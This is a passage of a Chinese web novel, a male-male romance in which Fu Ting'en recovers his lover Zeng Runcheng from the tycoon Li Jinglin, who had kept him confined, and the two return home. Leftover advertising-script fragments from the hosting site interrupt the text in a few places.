卢可听他这么说,到底年纪还小,脸上泛起了羞窘的红晕,只是敷了粉看不太出。 江永安瞄他一眼,用不以为然的口吻补充,“这有什么?我是运气好姓江,不然也会到处混局混圈,机会跟采蘑菇一样,总得找吧,难不成自动掉嘴巴里?!” 他这手先抑后扬,进一步拉近了彼此间的距离。因为这正是卢可的想法,被江永安点明又再这么说出来,他那点羞窘一扫而光,心里说不出的熨帖。 江永安端着酒杯伸出一根手指,示意卢可看旁边隔着两桌端坐主位的一位丽人,三十如许的年纪,穿着香奈儿的套装,黑发盘在头顶,看上去利索干练。她长相不算顶尖,但气质出众,跟几个中年男士坐在一块谈笑风生。 “她是你本场局要关注的重点……” 卢可俊秀的面庞出现一丝裂缝,机会是指这个女人吗?他是天生弯,虽然说只要长了那玩意就没有不能用的,但心里肯定膈应。 江永安了然的低笑,“不是她,是她背后的男人,是个跺跺脚金城都要抖三抖的人物,而这个男人,”他笑看着卢可,“对你这种长相情有独钟。” 他说得隐晦,但卢可瞬间秒懂了他的意思,不是这种长相,而是对这张脸情有独钟。 他再次在心里咀嚼了一下那两个字。 傅廷恩不愿意玩替身游戏,卢可却不介意当谁的替身。这是个男权社会,男人不分好坏,只谈强弱。这是个笑贫不笑娼的时代,管他替身还是正主,能拿到资源才是本事。这是卢可的认知和三观,要不然他也不会在天宫那种场所混。 随着时间的推移,会场里的人流不断增多,音乐声碰杯声交谈声汇织在一起,浓郁的香气充斥着各个角落,令人目眩神迷。 他们这一桌很快坐满,彼此碰杯打着招呼,音乐让交谈声若有若无,即使陌生人也不至于特别尴尬。台上有歌手舞者轮番表演,间隙里穿插着藏品的拍卖,人们不再呆坐于位置上,开始举着酒杯起身交际。 两个男青年端杯走了过来,其中一个一只手搭上江永安肩膀,“哟,五弟,这种场合难得看见你啊,什么时候回的?” 两人的容貌与江永安有类似之处,但笑容明显有些不怀好意,也不等他答话,两道目光在卢可面上转了转,“这小白脸谁啊?永安,那些杂志不会写真的吧?你真好这一口?” 江永安脸上的淡笑不变,伸手朝另一个方向指了指,“哎,那不是赵美琪吗?她旁边那谁,莫莉还是莫丹?是叫这个名吧?” 两男人顾不得再找他麻烦,端着酒杯急匆匆追着那两个女明星过去了。 江永安有点歉然的朝卢可举了举杯,“不好意思,这我三哥四哥,说话向来难听,你别放心上。” “没事,”卢可当然不会把一句小白脸放心上,但觉得江永安十分尊重他,好感愈浓。 这一届慈善晚宴,各界共捐赠了15件藏品,拍卖已经接近尾声。傅廷恩一直没有搭理他们,他不时起身端着酒杯满场转悠,跟人攀谈。 所到之处,笑声不断,看得出他在金城的商圈混得如鱼得水,颇有位置。他拍了一套明清时期的花梨木太师椅,配方形脚蹬。 他上台从拍卖师手中接过便签签了字,主持人将话筒递到他嘴边,他只笑说了一句,“带回去给家母坐着泡脚不错。”他年轻帅气,风范十足,赢得了满场的掌声。 卢可有些艳羡的看着台上的男人,不知道自己有没有可能达到这个高度。他又想起那个名字,闰成…… 傅总显然爱着这个名字的主人,那一晚在天宫,他绝没有看错,傅总看他的眼神里有着深深的迷恋。看样子,对那位闰成情根深种。真是好命。 傅总下台,卢可将目光转开,不经意间跟一道探究的视线撞到一起。是那位精英丽人。他很沉着的移开了目光,实际心跳如鼓。他端着红酒轻抿一口,犹豫着要不要去找明星求合影。 这种场合的求影,明星一般不会拒绝。但凡能进这会场的,没有家底也有门路,圈子里错综复杂的关系,说不准哪天就有派得上用场的时候。 万一失手没钓上鱼,光跟这些明星的合影也够卢可炫耀一阵子的了。 江永安偶尔走开,但大多数时候都跟他坐在一块。“哎,那个……是宋奕吗?”卢可指了指不远处一抹清瘦的身影,面庞跟电视上看到的一般无二,十分俊俏。 江永安失笑,“你是他粉丝?” “算……是吧,”卢可点点头,“我挺喜欢看他演的戏。我能找他合个影吗?” “顶着这张脸和这个妆造,我劝你还是不要。”江永安玩味的勾了勾嘴角,江永安作为旁观者,将宋奕对曾闰成的嫉恨和忌惮看得很清楚。 卢可生出点想要打探的欲望,“是有什么恩怨……” 台上爆发的掌声打断了他的探究,主持人欣喜的宣布,本场晚会标价最高的拍品由君临集团以1000万的高价拍得。 身着香奈儿套装的丽人走上台,在一旁拍卖师那里签了字,又接过主持人的话筒,“很荣幸代表君临集团,代表李总为慈善事业尽一份心力。上善若水,厚德载物。我们君临集团一直以弘扬社会主义核心价值观,弘扬慈善大爱精神为己任……” 虽然是套路化的发言,但女人气质典雅,仪态高贵,全场同样爆发出热烈的掌声。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>卢可耳尖的听到旁边有人议论,“苏秘书比谢副总裁还要威风,到底是李景麟的心腹。” “那可不,苏家从港城就跟着李家走,原本没名没姓的,如今在港城大小也算得上一号人物了。” 卢可在脑海里迅速的消化吸收到的讯息,君临集团,李景麟,苏秘书…… 天宫会所那一晚,他坐在肖震身后看打牌,就听在座的老总讨论了傅家和李家的恩怨,“在金城不给李景麟面子的还是少”,这句话言犹在耳。 当天晚上被傅总拒了,他回家就搜索了“李景麟”这个名字。 对这个名字和他背后的君临集团以及他本人的风流韵事都算知之甚详。 看样子,是傅廷恩跟这个李景麟之间的恩怨了……卢可隐约的窥探到了一些脉络,一颗心开始“砰砰”的跳动起来。 耐心垂钓的人,总算等到了一尾大鱼,就看他把不把得住这杆了。 眼角的余光瞄到了向他走近的身影,但卢可仍低着头,对方执杯碰了碰他手上的酒杯,“嗨,我是苏茜,你怎么称呼?” 卢可如梦初醒般,略有点慌乱的抬眼,“呃,你好,我是卢可。” “你是……廷恩的朋友?”苏秘书看一眼桌上竖着的名牌。 “呃,江少爷……永安带我来的。” 苏秘书点点头,两人攀谈了三五句,互相添加了微信,她便端着酒杯走开了。 傅廷恩回到了座位,他喝了点酒,脸上泛着红晕与肆意。 “恭喜你得偿所愿。”他跟他碰了碰杯,在他耳边低声道,又转头低唤了一声,“永安。” 不远处跟人攀谈的江永安结束交谈,走了过来。 “失陪一下,”傅廷恩向卢可点点头,示意江永安跟他走。 等江永安再次回到桌前,身上已经换了那件酒红色丝绒外套,而傅廷恩则不知去向。 卢可懂事的没有多问,江永安也没有解释,他只是背对着人群,有一搭没一搭的跟卢可聊着天。 这样觥筹交错,热闹喧嚣的场合,苏秘书尽管已习惯,仍然谈不上很喜欢,她手里擎着红酒杯,躲到一个略微清爽的角落,吹着从窗口飘入的夜风,隔着人群扫视着或熟悉或陌生的身影。 “苏姐,最近很累吧?这种场合都要您亲自到场。”一道熟悉的声音在耳边响起。 她抬起头,秀眉微蹙,“宋老师。” “这么见外?看样子我犯的大错已经传到苏姐耳朵里了?”宋奕脸上泛起一抹苦笑,“还指望苏姐帮我求求情,看样子是没戏了。” “宋奕,饭可以乱吃,话可不能乱说。”苏秘书瞄一眼两人所处的位置,虽然是一个避人的角落,但并不是死角,来往都有通道。 “苏姐真是谨慎啊,防范于未然,做两手准备。”宋奕的目光隔着人群,投向圆桌前端坐的身影,“正主还在手里捏着呢,备胎就已经先换上了。”他啧啧的感叹着,“隔这么远看着,真是像……” 苏秘书的目光跟着看过去,除了那个酷似曾闰成的卢可,傅廷恩穿着酒红色外套的背影也分外醒目,她松了口气,放下了戒备,一向圆滑的人,语气里带上了一丝嫌恶与不满,“宋奕,你为什么总跟闰成过不去?拜你所赐,闰成又动了一次手术,而且……”她止住话头,再不愿意透露一丝一毫的情况让宋奕知晓。 宋奕脸上却泛起一抹得意的笑容,他退开几步,低声笑道,“苏秘书,这话我可没说啊……”他向着帷帐后走出来的身影乜了一眼,目光转回苏秘书脸上,“是你说的……” 以宋奕今时今日在名利场的地位,他不可能对于摔到脸上的巴掌无动于衷。既然事情已经无可挽回,既然你这样无情,既然你不让我好过……那就大家都别过了! 他抱着破罐子破摔的心态给傅廷恩发了信息:“只要你有办法让苏茜相信你在她的视线范围内,我会让你亲耳听到一个你意想不到的消息!” 一切都如他所料,苏秘书亲口说出了那个名字,而穿着黑西装的傅廷恩,从暗影里闪出了身形。 他穿着一身黑,面孔却像雪一般白,深邃的眼眸喷涌着怒火,毫无风度的一把攥住了苏秘书,“你刚刚说什么?”他几乎是在怒吼,“闰成在哪里?!在哪里?!” 80.第 80 章 曾闰成第二次开颅手术,睁开眼的一瞬间,李景麟便感到彻骨的凉意从心底一直蔓延上脸庞。 仍然是那双黑白分明璀璨有如星辰的桃花眼,但眼神里再也没有依赖、信任和天真。 他愣愣的看着周遭的一切,迷茫的神情出现在他的脸庞上,嘴里喃喃念叨着昏迷前听到的那个名字:“廷恩……廷恩……廷恩……” 李景麟紧盯着他的面庞,颤声道,“闰成……” 曾闰成回视着他,一副迷惑不解的神色。“我是谁?这是哪里?”他条件反射般去捧头,头上却缠绕着厚厚的纱布。 他挥舞着双手,手上的针头被带动,鲜血倒流进输液管,李景麟忙抱住他,“别动,闰成,别动……” 他在他怀里不断挣扎,低声的咆哮,医生护士匆匆跑进来。李景麟按着他的手,护士给他重新扎针,又输入了一针镇静剂。 萨米教授却对这个情况持乐观态度,“患者的身体机能包括自我意识都是一个逐步恢复的过程,您不用着急,我对这次手术很有把握,虽然个体有差异,但恢复绝大部分记忆应该只是时间的问题。” 李景麟看着那张平静下来陷入沉睡的面庞,一丝恐慌漫上心头。他走到门外,点燃一根烟,两根手指夹着,嘴唇却无法控制的颤抖。 闰成会恢复记忆,然后……他会恨他吗?他会离开他吗?不,不会的,是他从翻涌的海水里将他拖回来的,是他陪伴引导着他一点点恢复正常的,他们已经有了三年的亲密时光,不可能敌不过那个名字那段短暂的情缘。 李景麟极力的镇定,他叮嘱Tina贴身守候,迈着一贯从容的步伐,离开了萨米团队在柏林的医疗基地。 他先到柏林分公司处理了几项迫在眉睫的事务,又着手安排接下来的多项事宜,然后吩咐徐理,“最近两个月,没有大事不要来烦我。” 李景麟笃信,他既然可以陪他成长第一次,自然可以陪他成长第二次。他现在已经摸清了曾闰成的脾性,他可以耐心的守候,极尽温柔的对待,一定可以将他留在身边。 他信心满满,却遭遇了重击。 曾闰成诚如萨米教授所料,恢复身体各项机能的同时,自我的意识也在不断觉醒。 他的记忆就像他因为开颅手术而剃去的头发那般,随着时间的推移,不断的生长,逐渐的茂盛浓密。 他记起了自己的名字,记起了小山村里成长的过往,他开始问“婆婆和妹妹去哪里了”,不久之后又记起来,“她们都埋进了屋后的山坡里”,他泪流满面,眼里涌上哀恸,“从此就只剩下我一个人了,只剩下我一个人了……” 李景麟看着他伤心的样子,忍不住伸手想紧紧的搂住他,“闰成,你还有我,你不是一个人……” 可曾闰成推开了他,他转目四顾,“我不是一个人,我还有廷恩,廷恩……廷恩呢?”他攥着李景麟的衣襟,抬起一双朦胧的泪眼,困惑祈求的问他,“廷恩呢?廷恩去哪里了?” 他最早想起来的这三个人,是他生命中最重要的三个人。 李景麟只能抱着他,尽可能的放轻手脚,“闰成,我是谁?你看着我,”他轻柔的抬起他的下颌,满怀期待的凝视着他,“我是谁?” 曾闰成挣开他的束缚,垂下眼睛,他没有想起来。 李景麟冲到书房,拿来那份装裱的报纸和几幅书法作品,他将报纸在曾闰成面前摊开,“闰成,你看看,这上面是谁?” 他指着报纸上西装革履的男人和稚气未脱的少年,“这是你和我,二十年前的你和我,你看看,你记得吗?” 他又展开手里的书法作品,“这是你在公司写的,在君临大厦的十五楼写的,记得吗?” “这是你在学校社团义卖写的,我让秘书偷偷买回来的。” “这是我生日你写给我的,‘麟’字,李景麟的‘麟’字,记得吗?” 曾闰成却直往角落里躲,回避着他的目光,李景麟只觉得一颗心不断的往下沉……他怔怔的看着他,Tina在一旁劝慰,“老板您别着急,闰成会想起来的,他迟早会想起来的。” 他何尝不知道他会想起来,可是…… 正如Tina所说,曾闰成不久之后便想起了他,可关于他的第一句话是,“李景麟,你不是答应了放我走吗?为什么我在这里?”他紧紧攥着他的衣袖,一迭声的问他,“廷恩呢?廷恩在哪里?我要去找廷恩……廷恩……” 李景麟目眦欲裂,他顾不得发火,亲自驱车接来了萨米教授,一番检查诊断之后,老萨米无奈的叹气,“之前的事情他应该是都想起来了,他连之前在哪里读书就业都能完整表述。但是,”他不无遗憾的看了一眼李景麟,“最近这三年,也就是他头部第一次遭受重击之后的事情,他应该是全忘了。” 团队的心理学专家在旁边补充,“这种情况其实并不少见,我带的硕士学生就做了这方面的专题研究,患者遭遇重大的刺激之后,潜意识里会抗拒这段记忆,也就是我们俗称的‘选择性失忆’。” 李景麟跌坐在椅子上,细密的汗珠肉眼可见的从他额上冒出,又潸潸而下,“你说什么?他记起了之前,却……” “对,他记起了之前,却忘记了最近这三年。”萨米教授不太明白李景麟为何这样紧张,“这对患者本人来说,虽有缺憾,但能找回之前的记忆,已经是极大的幸运。” 人类的悲喜并不相通,萨米教授对曾闰成这例个案的手术和一系列治疗都深感满意,头部一再受重创,能恢复到如今这个水平,是对他医术的肯定,代表他在脑科这个领域的绝对权威。 可这种状况,对李景麟来说,是最坏的情形,是巨大的不幸。 他坐在书房,一根接一根的抽烟,电话响起,苏秘书的声音传来,李景麟安静的听着,一个字也没说,掐断了电话。 他整整一天没有出过书房门。 Tina实在迫不得已,壮起胆子来敲门,她在昏暗的光线和满室的烟雾一地的烟头里,寻觅到李景麟呆坐在窗边的身影,“老板,”她犹豫的开口,“闰成一天都没有吃饭,他吵着要走,要去找那个……廷恩。” 李景麟挥手将书桌上的东西扫落在地,“废物!不吃就给他绑起来,硬塞不会!滚!” Tina挪动着脚步,却不肯出去,“老板,您亲自去看看吧……闰成这样下去肯定是不行的。” 李景麟走进他和曾闰成原本的卧室,温馨典雅已经被一地狼藉取代,地毯原本是曾闰成最喜欢的花色,此刻却布满了碎玻璃、饭菜、水渍。 曾闰成从厚实的窗帘后探出头,看见李景麟进来,他飞奔过来,赤着的双脚径直踩在碎玻璃上。 李景麟冲过去,将他一把捞起,搁在床上,抬起他的脚踝,两只脚底板上都缀着玻璃片,鲜血争先恐后的涌出来。 Tina拿来了医药箱,李景麟固定着他的脚掌,Tina跪在一旁手法轻柔的帮他清理着脚底的玻璃碎片,密密匝匝,深红四溅。 曾闰成却似感觉不到疼痛,他攥着李景麟的衣袖,“景麟,你答应了让我走……”他又用当年在玄武山庄的那种眼神,哀求的看着他,“你让我走吧,我求求你……” 李景麟看着那双眼睛,心痛弥漫上来,“闰成,你能走去哪里?我不可能让你去找傅廷恩。你已经回来了,我们都在一起三年了,我们很相爱,你是忘记了……” “不,不可能,”曾闰成摇着头,眼神里盛满了不信,“即使不去找傅廷恩,我也会离开你,不可能回来的……” “为什么?”这是李景麟三年前就想问的,只是三年前他错误的用伤害代替了质问,“到底为什么?我对你不够好吗……” “你已经结婚了,你有老婆有孩子……”曾闰成喃喃道,“我是一个可耻的……” 李景麟一把搂住他,“不,闰成,你不是第三者我可以离婚,等你身体好一点我们就结婚好不好?我们可以在古堡举行婚礼,把亲戚朋友都邀请过来……或者你想去拉斯维加斯……”他神情激动语速迅疾,连一旁的Tina都能感受到他的慌乱。 曾闰成却只是摇头,“不不不……”在李景麟的声声质问里,他吐露出令人心碎的话语,“我不爱你。” 李景麟像被针扎到了一般,闪电般的松开了手,却又转瞬间就紧紧握住,“闰成,那是之前……” 曾闰成却仍沉浸在自己的思绪里,他低声道,“……你有那么多的玩具,我只是其中一个……我不可能和你在一起,更不可能爱你……” 他的情绪逐渐的激动起来,“我是个正常人,想过正常的生活,我不是谁的禁脔!不是谁的情人!我是一个自由的人!” 他凝视着李景麟的眼睛,眼泪顺着面颊滑落,“景麟,我是一个人……”不是谁的所有物,也不是谁的附属品。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李景麟怔住,愣愣的看着曾闰成。 Tina已经处理好了曾闰成脚上的伤口,收拾了地毯上的秽物,看着陷入缄默的两个人,轻轻叹了口气,带上门退了出去。 可是很快,木门又被敲响,Tina再度推门进来,“老板,”她呐呐的低声,“有……客人来访。” 李景麟走到监控室,山坡下的铁门外,停着一台车,傅廷恩的身影赫然出现在铁门前。 他看着摄影头,掀动着嘴角,李景麟打开声音,“……把闰成还给我,李景麟,你害闰成害得还不够吗?天亮之前,你不把闰成交出来,我会通知各大媒体报刊,会到警局报案,要不要把事情闹到这一步你好好想清楚。” 说到底,李景麟可以禁锢住曾闰成,是源于对傅廷恩的蒙蔽。一旦被傅家发现真相,他就再也留不住他。 傅廷恩心急如焚,但江永安帮他拉回了理智。他可以搞砸慈善晚宴,却不能搞砸曾闰成的人生。直接到警局报案,或者向媒体报刊披露这件事情,曾闰成都会不可避免的卷入漩涡,踏上风口浪尖。 他只能死命按捺住情绪,先礼后兵,给李景麟下最后的通牒。 好在李景麟还没有疯到那个地步,当晨曦微亮,天光泛白,一抹熟悉的身影出现在视线的尽头。 傅廷恩一眨不眨的盯着那道修长的身线,眼泪无所察觉的汹涌而下。“闰成……”他攥着铁门的栏杆,喃喃低喊。 身影越走越近,曾闰成跟三年前几乎没有变化,他看见傅廷恩的那一刻,便向他奔跑而来,Tina在背后追着喊:“闰成你的脚……” 铁门无声的向两侧拉开,就好像两个原本割裂的世界,重新融合在了一起。 曾闰成投进傅廷恩的怀里,两人紧紧的拥抱。“闰成……闰成……”傅廷恩的泪水汹涌澎拜,砸得满地都是。 对曾闰成而言,他是沉睡方醒。但对傅廷恩来说,他是死而复生。 他陷入迷乱的梦境一般,颇有点癫狂的紧紧搂着曾闰成,掐着他的胳膊,拍打着他的后背,似乎犹不敢信他是真实存在的,直到曾闰成吻上他的唇,轻轻的咬了他一口。 他才停止了激动的举止,逐渐的安静下来,呆愣的看着那张熟悉的面孔。 “廷恩。”曾闰成唤着他的名字,张开双臂,两人再一次相拥。 Tina知道此刻一举一动都在老板的眼皮子底下,她轻声催促,“快走吧,闰成。”她递过一个行李袋,是她简单收拾的几件衣服。 傅廷恩却不肯接,Tina只好从行李袋中拿出一个小袋子塞到曾闰成怀里。 傅廷恩攥着曾闰成的手,将他送上副驾驶,然后绕回驾驶室,一脚油门,扬长而去。 曾闰成从车窗口伸出手向Tina挥了挥,“再见了,Tina。” “再见了,闰成。”Tina也忍不住泪流满面,曾闰成已经忘却,可她结结实实的照顾了他三年,怎么可能没有感情?可正因为如此,她也替他高兴,重新找回记忆,回到真正的爱人身边。 她在清晨微凉的风里目送车影远去,古堡深处却传来阵阵马蹄声,Tina转头,李景麟骑着弗兰克挥鞭而来。 Tina心都要提到嗓子眼,李景麟却在铁门外勒住了缰绳,弗兰克扬起前蹄,发出阵阵嘶鸣。 李景麟看着逐渐远去的车影,愣愣的坐在马上,一动不动。在他的脑海里,他已奔跑着向那辆车追去,他不断的拍打着车窗,“不要走,闰成,我求求你不要走……闰成……我爱你……不要走……我爱你……闰成……你别走别离开我……” 他跑得气喘吁吁,哭得声泪俱下,把所有没有说出口的话一一倾吐。 可实际上,他只是端坐在马上,像被掏空了灵魂一般,凝固成一座石像。 他是李景麟,死也不可能去哀求、哭泣。 良久,他扔下马鞭,翻身下马,马靴踢踏着青草,背影在金灿灿的晨光中看上去格外孤寂。 弗兰克乖顺的跟在他身后,一人一马消失在光影尽头。 Tina深深的叹了口气,这三年中她无数次的同情过曾闰成和傅廷恩,到现在她也觉得老板是咎由自取。 可她也明白,李景麟已经受到了惩罚。曾闰成忘记了这三年的所有事情就是对他最大的惩罚。 从此,困在回忆里的,就只有他了。 ~正文完~ 81.第 81 章 西美航空无论是舱位的舒适程度还是餐食供应的品类以及空姐的漂亮指数,在一众国际航司里都只能算中等水平,但是要论机组人员的八卦程度绝对是顶级的。 毕竟这家航司的大股东是法属财团,在浪漫不羁这种基调的影响下,并非服务质量的投诉在航司内部不算特别丢脸的事情,空姐们经常用专属的暗号来隐秘的传递她们感兴趣的信息。 今天从勃兰登堡国际机场直飞金城的航班,仅此一趟。空姐们脸上都挂着比平时更为甜腻的笑意,各种手势交流得十分热烈。而这份热烈的源头来自头等舱的两位乘客。 同□□侣在支持同性婚姻合法的国度并不少见,但这两位的身材相貌是中西方公认的出挑,真正顶级的颜值往往是没有文化壁垒的。 尤其亚裔向来偏保守,这两位却是从上飞机开始就手拖着手,片刻都没有松开,个子高一些的那位,甚至示意空姐,“这个中间可以拆除吗?” “Sorry,Sir,”空姐半蹲着提供服务,“头等舱舱位之间的隔断是固定的,没有办法拆除。”西美航空可没法跟卡塔尔/东航/新加坡航空等顶级航司比,其下的飞机都没有提供双人套房。 傅廷恩叹口气,指指七十公分宽的舱位,“那我可以和我的伴侣睡一起吗?” 按规定是不可以,但并不是从经济舱换到头等舱,而是头等舱的两位乘客非要挤在一块,这是空姐们可以自主决定的一点小权限。 空姐瞄一眼从上飞机就半闭着眼睛的那一位,他的皮肤白皙得让她羡慕,五官不是西方人的那种深刻,是典型亚裔的温润线条,尤其是他感受到空姐窥探的目光,半闭的桃花眼睁开来,就像两汪清泉开始流动,“廷恩,算了,睡一觉就到了吧?” 空姐听不懂他是说的汉语还是日语,但是那低沉的声调十分悦耳,他转过身去,背对着她,侧身的轮廓让人无法移开目光。 但另一道身影挡住了她,傅廷恩带了点不悦的语气,“就这样吧,你可以下去了。” 他始终没有松开另一位的手,直接就着这个姿势,躺到他身后,轻轻拥住了他,显然是不管空姐同不同意,他都要跟他睡在同一个舱位了。 空姐憋笑憋得脸通红,轻轻抖开毛毯,替他们盖上,轻手轻脚的退了出去,体贴的拉上了帘子。 她一路手势打个不停,回到空姐们的休息室更是小声叨叨,“真的漂亮!我怀疑是华国或者韩国的明星!”另一名空姐摇头,“不是噢,不是明星,我有看到工单,都是华国人……”因为涉及到公共安全,机组对乘客的基本信息是有所掌握的。 但这并没有降低空姐们对这一组乘客的关注,既然这么窄都要挤到一起睡,十有八九是有一些想法或者特殊癖好,这种事情之前也不是没有发生过,总有人想体验在高空做的刺激,兴致上来哪里还顾得上隐私一说,结果被八卦女神们当做谈资笑了好久。 但是她们留神许久,帘子里一点动静都没有,九个多小时的航程,这两位就起来上了一次厕所。 其实从见到曾闰成的那一刻起,傅廷恩的神态就有一点不正常。脸上是欢喜中夹杂着迷茫的表情,上扬的嘴角始终就没有落下去过,是一种近乎梦游的状态。 曾闰成起身上厕所他也亦步亦趋的跟着走,曾闰成问他,“廷恩,你也要上厕所吗?”傅廷恩摇头。 “那你回座位上去。”傅廷恩仍旧摇头。 空姐们一脸探究的表情,这两位难道是打算到厕所进行点秘密活动?但曾闰成当着她们的面关上了门,把另一位男主角关在了门外。 等他出来,傅廷恩还守在门口,看到他一脸松了口气的表情。曾闰成拉着他的手往回走,“怎么了?廷恩。” 傅廷恩没说话,但一回到座位就把他紧紧搂在怀里,明明白白的传递着“我好怕你消失”的讯息。 空姐们像一群沸腾的仓鼠,似乎想要嗷嗷尖叫,蹲过来两位提供殷勤周到的问询服务:“Sir,Do you need any services?” 如果不是这两位本身状态就不太正常,铁定是会被投诉的。 曾闰成原有的记忆没有完全的恢复,这三年又几乎是一片空白,他只是凭着本能跟着傅廷恩走。直觉告诉他,这是可以绝对信任的人,可以跟他去任何地方。 多亏Tina将那个小包裹硬塞给他,两人到了机场才想起买机票要护照要身份证,打开那个小包裹,都在里面,还有厚厚一叠欧元。 整个航程,傅廷恩几乎没合眼,即使把曾闰成搂在怀里似乎仍有一种不真实感,总是愣愣的看着他。 曾闰成一回头,就看到他挣开的双眼,他伸手把他眼睛盖上,“廷恩,你睡一会。”他也跟着闭上眼睛。 可过一会,他再回头,傅廷恩仍旧是那样直愣愣的看着他后脑勺,他只好转过身去,两人呼吸相闻心跳相合才让傅廷恩多了一点真实感。在狭窄的舱床上,两个人紧紧相拥着,总算短暂的休息了一会。 江永安到金城国际机场来接他们,感觉接到了两个企鹅宝宝,都有点宝里宝气的样子。但实际上,他自己也好不到哪里去。一路盯着曾闰成看,好几次闯了红灯,他嗫喏着,“我是真的看见了……廷恩,你相信我……” 他还记得在马来西亚的圣玛丽医院,隔着抢救室的玻璃窗,他亲眼看到仪器上那条代表心跳的射线“嘀”一声之后变成一条直线,医生将白布单蒙上曾闰成的头脸,之后裹着白布单的尸体被推出来…… 终于在一个岔路口,他把方向盘对着路肩一打,停下车,趴在方向盘上“呜呜”的哭起来,“廷恩,我对不起你……对不起,闰成……”他哭得声堵气噎,任凭傅廷恩和曾闰成轮流劝说也止不住。 他知道傅廷恩不会怪他,也知道自己是受了苏秘书的蒙蔽,可是自己的确在其中起到了十分关键的作用,让这对相爱的情侣分开了三年。尤其是傅廷恩差一点就因此丧命…… 他一把扯过傅廷恩的左手,摩挲着手腕的位置,时至今日,那里仍留有一线红痕。“对不起,廷恩……我真的对不起你……” 一旁呆愣的曾闰成也看到了那道疤痕,他睁大眼睛,颤抖着拉过傅廷恩的手,“这是怎么来的……”他看向傅廷恩和江永安的面色,两人都回避了他的目光。 “廷恩!”曾闰成高声喊道,声音饱含着诧异和痛楚。在这之前,他没有深刻的意识到三年到底意味着什么,他像做了一场梦,梦醒已不记得梦中的所有情形。 可对于傅廷恩来说,这三年没有一天不是生活在痛苦之中。他甚至做出这种傻事来……如果说之前他还有点不能理解傅廷恩为什么这样紧黏着他,为什么这样不错眼的看着他,这一刻都有了答案。曾闰成一把抱住了他,眼泪肆意的流溅。 即使他没有恢复所有的记忆,可是看到那道疤痕,心口传来的那种刺痛感骗不了人,他很爱这个男人,不想再带给他一点点的伤害,“廷恩,我们再也不要分开。” 傅廷恩紧紧的抱住他,不断的点着头。如果不是宋奕发信息给他,他还不知道要被瞒骗到什么时候。 他的胸腔充斥着巨大的愤怒,可又奔涌着无尽的欢喜。这两种情绪对撞着,让他一阵眩晕。 这一刻,在灯火辉煌的街头,在车水马龙人流如潮的喧嚣热闹里,三个人又哭又笑,尽情发泄着汹涌的情绪,许久之后才重新踏上回程。 曾闰成在飞机上没有休息好,他在车辆后座,在傅廷恩的怀抱里沉沉睡去。傅廷恩小心的扒开他浓密的黑发,纵横交错的几线印记安静却狰狞的趴伏在头皮之上。 他们为了彼此真的吃足了苦头。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 回到傅宅的时候,已接近凌晨,傅明章和傅太却还没有睡。傅廷恩在慈善晚宴上风度尽失的与君临集团高管发生龃齬上了新闻,他却只匆匆扔下一句“我要去接闰成”,便不见了踪影,电话开始怎么也打不通,后来接通了是马上要上飞机,夫妻两人悬着心,便一直等着。 果然是他们三年前见过的那位曾博士,但是他们差点没有认出来。三年前,是一派温文尔雅文质彬彬的模样。三年后,并没有变得更成熟儒雅,反倒有点怯生生的,乍一看上去显得比傅廷恩还要小,有点认生害怕似的躲在廷恩的身侧。 在父母带点审视和疑问的目光中,傅廷恩清醒过来,安抚的拍拍曾闰成,迎着他们的目光,低声道,“爸,妈,闰成这几年生了一场大病,伤到头部,之前和现在的事情都有点模糊,需要一些时间慢慢恢复,请你们多多担待。” 傅太先反应过来,一叠声的柔声安慰,“不碍事不碍事……不要紧的,好好休养,很快就会好起来想起来的。” 她连声催促阿姨赶紧把夜宵端过来,又吩咐王妈准备客房,还是傅明章拉了她一把,她才醒悟过来。这两位坐都跟连体婴一样粘在一起,哪里会需要客房。 她现在已经猜到,三年前她以为的分手只怕另有隐情,她还以为曾闰成甩了她们家宝贝儿子,原来是头部受伤了,难道是出了车祸?这一时半会也不好探问,只能慢慢了解了。 曾闰成只挑了几筷子面条,就吃不下了,他的胃口一向不大。傅廷恩随便吃两口便放下碗筷,拉着他的手回了自己房间。 门一关,房间安静得只能听见彼此的呼吸声。傅廷恩愣愣的看着曾闰成,用目光一点一点的描摹着他的眉眼,其实内心深处他从未接受过他的死讯。 他们在澳洲的海滩度假的时候,看过一部电影《摩根先生最后的爱》,当时他就想,如果人类总要接受死亡,如果曾闰成总有一天要离他而去,那么也应该是白发苍苍,垂垂老矣,在他的怀中停止呼吸。 绝不会是那样突然的,毫无预兆的,尽管各项人证物证都在极力让他接受这件事情,他却总是带着怀疑,不然曾闰成的“骨灰”也不会一直放在他澳洲的公寓里,既没有入土为安,也没有随风扬散。 他伸手触碰着熟悉的眉眼,目光带着沉醉后的朦胧感,“闰成。”“嗯。” “闰成。” “嗯。” “闰成。” “嗯,廷恩。”曾闰成终于被他左一声右一声的叫烦了,把身体倾过去,吻住了那张不住叫唤的嘴唇。 这是一个缠绵深长的吻,既不激烈,也没有追逐躲闪,就是辗转反侧,不停不歇,不休不止,不断用唇舌交换着“我在我爱你”的讯息。 傅廷恩一直被架在半空中的情绪总算被这缠绵悱恻的吻逐渐的安抚下来,但他还是紧紧的跟随着曾闰成,他起身洗澡他也要跟到浴室门口。 夜已深,只打算冲个澡了事,曾闰成看着站在沐浴间外面眼巴巴看着他的傅廷恩,“廷恩,你是要怎样?一起洗吗?”他很难一下子就竖立起隔了三年的概念,在他的认知里,好像昨天两人还赤条条的在海滩边拥吻缠绵,“那你快点吧,还磨蹭。” 傅廷恩脱了衣服,走进水幕里,帮他冲洗头发,从背后拥吻着他,泡沫被水流冲去,一串英文字母出现在曾闰成的后肩,傅廷恩凝神细看,“Charles”,他心头一紧。 但曾闰成显然不知道这个英文名字的存在,不然他不会这样自然的背对着他。 傅廷恩咬紧了唇,片刻之后,又露出了一抹释然的笑意,这个人千方百计想要在闰成的生命里留下印记,到头来却仍是一场空。 他已经通过宋奕,以及苏秘书的反应,大概的知道了事情的前因后果。你将名字刻在哪里都没有意义,因为我在他的心上。 82.第 82 章 两人洗过澡,吹过头发,坐这么久飞机,情绪又激荡起伏,已经疲惫到极点,毫无遐思的相拥着睡去。 这一觉都睡得分外踏实而深沉,直到第二天温暖的阳光和啁啾的鸟叫声将他们唤醒。 